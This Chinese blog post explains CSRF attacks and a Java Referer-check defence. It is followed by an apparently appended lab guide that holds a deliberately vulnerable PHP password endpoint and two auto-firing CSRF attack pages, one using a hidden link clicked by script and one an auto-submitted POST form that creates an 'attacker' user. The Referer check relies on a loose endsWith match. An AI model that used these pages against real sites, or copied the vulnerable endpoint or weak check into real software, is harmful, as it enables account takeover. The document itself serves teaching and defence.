安全01-后台增加Referer校验防范CSRF跨站请求伪造

本文介绍了CSRF(跨站请求伪造)攻击的原理,以及如何通过验证HTTP Referer字段来防范此类攻击。攻击者利用Referer字段的可篡改性或缺失可能导致安全风险。防御措施包括检查请求的Referer是否与预期的官网域名一致,但这种方法存在浏览器兼容性和安全性的挑战。在实际应用中,通常结合其他验证机制如token来增强安全性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CSRF,中文名字,跨站请求伪造。攻击者(黑客,钓鱼网站)盗用了你的身份,以你的名义发送恶意请求,这些请求包括发送邮件、发送消息、盗取账号、购买商品、银行转账,从而使你的个人隐私泄露和财产损失。

防范方案
1、验证HTTP Referer字段。
2、请求地址中添加token并验证(token不放在cookie中,放在http请求参数中,服务端对其进行验证)
3、将token加入http头属性中,避免了token出现在浏览器中,被泄露。

Referer验证方案:
根据HTTP协议,在HTTP头部中有一个Referer字段,它记录了该HTTP请求所在的地址,表示HTTP请求从那个页面发出的。比如当你访问 http://xxx.com/ebank?account=6000001&amount=10000,用户必须先登录该网站官网,然后通过点击页面的的按钮来触发转账事件。此时,转账请求的Referer值就是转账页面所在的URL,通常是以xxx.com域名开头的地址。如果攻击者要实行CSRF攻击,那么他只能在自己的站点构造请求,此时Referer的值就指向黑客自己的网站。因此要防御CSRF攻击,该网站后台只需要对每一个转账请求验证其Referer值,如果是以xxx.com开头的域名,则是合法请求,相反,则是非法请求并拒绝。这种方法的好处就是简单易行,只需要在后台添加一个拦截器来检查Referer即可。然而这种办法并不是万无一失,Referer的值是由浏览器提供的,一些低级的浏览器可以通过某种方式篡改Referer的值,这就给了攻击者可乘之机;而一些高级浏览器处于安全考虑,可以让用户设置发送HTTP请求时不再提供Referer值,这样当他们正常访问该网站时,因为没有提供Referer值而被误认为CERF攻击,拒绝访问。实际应用中通常采用第二种方法来防御CSRF攻击。

这里简绍第一种方案,验证HTTP Referer字段,在JAVA公共请求拦截器类中,新增对referer的校验,检查请求referer是否与官网域名一致。

//系统官网域名配置
String official_website="www.xxx.com";
String referer = request.getHeader("Referer");
if(null!=referer ){
	if(!referer.split("/")[2].endsWith(official_website)) 
	{
		OutputStream output = response.getOutputStream();
		output.write("请求数据非法".getBytes());
		output.flush();
		output.close();
		return null;
	}
}
### 关于跨站请求伪造CSRF)实验的设计与实施 #### 实验目标 通过设计并执行一个简单的 CSRF 攻击场景,验证攻击的工作原理以及其可能带来的危害。这有助于理解 CSRF 的本质及其防御方法。 --- #### 实验环境准备 1. **本地开发服务器** 使用 Web 开发框架搭建一个支持用户登录功能的小型应用,例如 PHP 或 Python Flask 应用程序。该应用程序应允许修改用户的某些敏感数据(如密码),以便模拟真实世界中的业务逻辑。 2. **易受攻击的功能模块** 创建一个未加防护的 URL 接口用于更新用户密码或其他操作。例如: ```php <?php session_start(); if ($_SERVER['REQUEST_METHOD'] === 'GET') { $new_password = $_GET['password_new']; $confirm_password = $_GET['password_conf']; if ($new_password && $confirm_password && $new_password === $confirm_password) { echo "Password updated successfully!"; // Simulate password update logic here. } else { echo "Error updating password."; } } ?> ``` 3. **恶意页面构建** 构建一个 HTML 页面,其中包含能够触发 CSRF 攻击的内容。此页面可以通过诱导受害者访问来完成攻击过程。 --- #### 实现步骤 ##### 方法一:基于 GET 请求CSRF 测试 创建一个 HTML 文件,在文件中嵌入超链接或自动加载脚本以发起 CSRF 请求: ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF Test</title> </head> <body> <!-- 隐蔽的超链接 --> <a href="http://localhost/csrf_vulnerable_app/change_password.php?password_new=hacked&password_conf=hacked" style="display:none;" id="csrf-link"></a> <!-- 自动点击链接 --> <script> document.getElementById('csrf-link').click(); </script> </body> </html> ``` 上述代码会在用户打开页面时立即发送一个 GET 请求到指定的目标地址[^4]。 ##### 方法二:基于 POST 请求CSRF 测试 如果目标接口仅接受 POST 请求,则可通过 `<form>` 表单提交方式实现 CSRF 攻击: ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF Form Attack</title> </head> <body onload="document.forms[0].submit()"> <form action="http://localhost/csrf_vulnerable_app/update_user.php" method="POST"> <input type="hidden" name="act" value="add"/> <input type="hidden" name="username" value="attacker"/> <input type="hidden" name="password" value="hackedpass"/> <input type="hidden" name="password2" value="hackedpass"/> <input type="hidden" name="button" value="%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7"/> <input type="hidden" name="userid" value="0"/> </form> </body> </html> ``` 当受害者浏览这个恶意页面时,浏览器会自动向目标站点提交表单数据[^3]。 --- #### 安全测试注意事项 在实际环境中进行此类测试前需获得授权,以免触犯法律。此外,建议使用虚拟机隔离测试网络,防止意外影响其他系统资源。 --- #### 防御措施概述 为了有效抵御 CSRF 攻击,可采取以下策略之一或多组合使用: - 添加一次性令牌(Token)校验机制; - 设置严格的 Referer 和 Origin 头部检查; - 启用 SameSite Cookie 属性限制第三方调用行为[^1]。 --- ### 结论 通过对 CSRF 漏洞的学习和实践,可以更深刻认识到这类威胁的存在形式及潜在风险,并掌握相应的缓解手段。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值